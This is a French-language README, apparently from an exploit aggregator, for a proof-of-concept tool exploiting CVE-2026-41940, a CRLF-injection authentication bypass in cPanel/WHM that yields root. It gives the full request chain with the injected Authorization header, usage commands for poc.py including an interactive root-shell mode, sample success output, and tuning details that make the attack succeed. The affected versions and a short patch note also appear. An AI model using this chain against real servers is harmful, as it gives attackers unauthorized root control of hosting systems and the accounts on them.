Share
## https://sploitus.com/exploit?id=30A9AC7C-E560-5AB8-A736-4D5F73275685
# CVE-2026-41940 — cPanel/WHM Contournement d'Authentification

**Auteur :** SilySec  
**Recherche originale :** Sina Kheirkhah ([@SinSinology](https://twitter.com/SinSinology)) / [watchTowr Labs](https://labs.watchtowr.com)  
**Sévérité :** Critique (CVSS 9.8)  
**Type :** Injection CRLF → Contournement d'authentification → Shell root

---

## Description

CVE-2026-41940 est une vulnérabilité critique dans cPanel/WHM qui permet à un attaquant non authentifié d'obtenir un accÚs root complet via une injection CRLF dans le gestionnaire d'authentification Basic de `cpsrvd`.

La faille combine trois faiblesses :

1. **Injection CRLF non filtrĂ©e** — la fonction `saveSession()` dans `Cpanel/Session.pm` n'assainit pas les caractĂšres `\r\n` avant l'Ă©criture sur disque lorsque la clĂ© `` est absente du cookie.
2. **Encodeur dĂ©sactivĂ©** — sans le segment `` dans le cookie de session, l'encodeur par session ne s'active pas, laissant les octets CRLF Ă©crits en clair dans le fichier de session.
3. **Rechargement du cache** — `Cpanel::Session::Modify::save()` relit le fichier brut et promeut les clĂ©s CRLF injectĂ©es dans le cache JSON, rendant la session pleinement authentifiĂ©e.

---

## Versions affectées

| Branche | DerniÚre version vulnérable | Version corrigée |
|---------|----------------------------|-----------------|
| 110.0.x | 11.110.0.96 | **11.110.0.97** |
| 118.0.x | 11.118.0.62 | **11.118.0.63** |
| 126.0.x | 11.126.0.53 | **11.126.0.54** |
| 132.0.x | 11.132.0.28 | **11.132.0.29** |
| 134.0.x | 11.134.0.19 | **11.134.0.20** |
| 136.0.x | 11.136.0.5  | **11.136.0.6**  |

---

## ChaĂźne d'exploitation

```
POST /login/?login_only=1          [mauvais mot de passe]
  └─â–ș cookie: whostmgrsession=:ID,

Supprimer ,  →  :ID          [dĂ©sactive l'encodeur]

GET / + Cookie: :ID
      + Authorization: Basic root:x\r\nhasroot=1\r\n...
  └─â–ș cpsrvd Ă©crit les octets CRLF bruts dans le fichier de session

GET /scripts2/listaccts + Cookie: :ID   [sans token de sécurité]
  └─â–ș do_token_denied() → Cpanel::Session::Modify::save()
  └─â–ș cache JSON reconstruit avec hasroot=1, tfa_verified=1

→ Session authentifiĂ©e en root
```

---

## Utilisation

### Prérequis

```bash
pip install requests
# Pour le mode --terminal (optionnel) :
pip install paramiko
```

### Vérification de la vulnérabilité

```bash
python3 poc.py --target https://CIBLE:2087
```

### Obtenir un shell root interactif

```bash
python3 poc.py --target https://CIBLE:2087 --terminal
```

### Forcer le hostname canonique

```bash
python3 poc.py --target https://1.2.3.4:2087 --hostname cpanel.exemple.com
```

### Exemple de sortie

```
[*] target   : https://1.2.3.4:2087
[*] canonical: cpanel.exemple.com

[1/4] minting preauth session ...
       session  = :AbCdEfGh...,0123456789abcdef
       stripped = :AbCdEfGh...

[2/4] injecting CRLF payload ...
       307 → leaked token = /cpsess1234567890

[3/4] triggering cache propagation ...
       do_token_denied → Cpanel::Session::Modify::save() fired

[4/4] verifying root access ...

  ✔  AUTH BYPASS CONFIRMED
     cPanel version : 11.136.0.5
     cookie         : whostmgrsession=%3AAbCdEfGh...
     WHM URL        : https://1.2.3.4:2087/cpsess1234567890/
```

---

## Points techniques importants

- Le **hostname canonique** doit ĂȘtre utilisĂ© dans le header `Host` (pas l'IP) — cpsrvd gĂšre les sessions diffĂ©remment selon le hostname
- Le **timestamp** dans le payload doit ĂȘtre `9999999999` (fixe, avenir lointain) — un timestamp courant Ă©choue
- L'**ordre des clés** dans le payload injecté est important : `successful_internal_auth_with_timestamp` doit venir en premier

---

## Correctif

Le patch dĂ©place l'appel Ă  `filter_sessiondata()` Ă  l'intĂ©rieur de `saveSession()` et ajoute un encodage conditionnel lorsque la clĂ© `` est absente, empĂȘchant toute Ă©criture en clair.

**Mettre à jour cPanel/WHM immédiatement vers les versions corrigées listées ci-dessus.**

---

## Avertissement

Cet outil est fourni à des fins de recherche et de test interne uniquement. Toute utilisation sur des systÚmes sans autorisation explicite est illégale. SilySec décline toute responsabilité en cas d'utilisation abusive.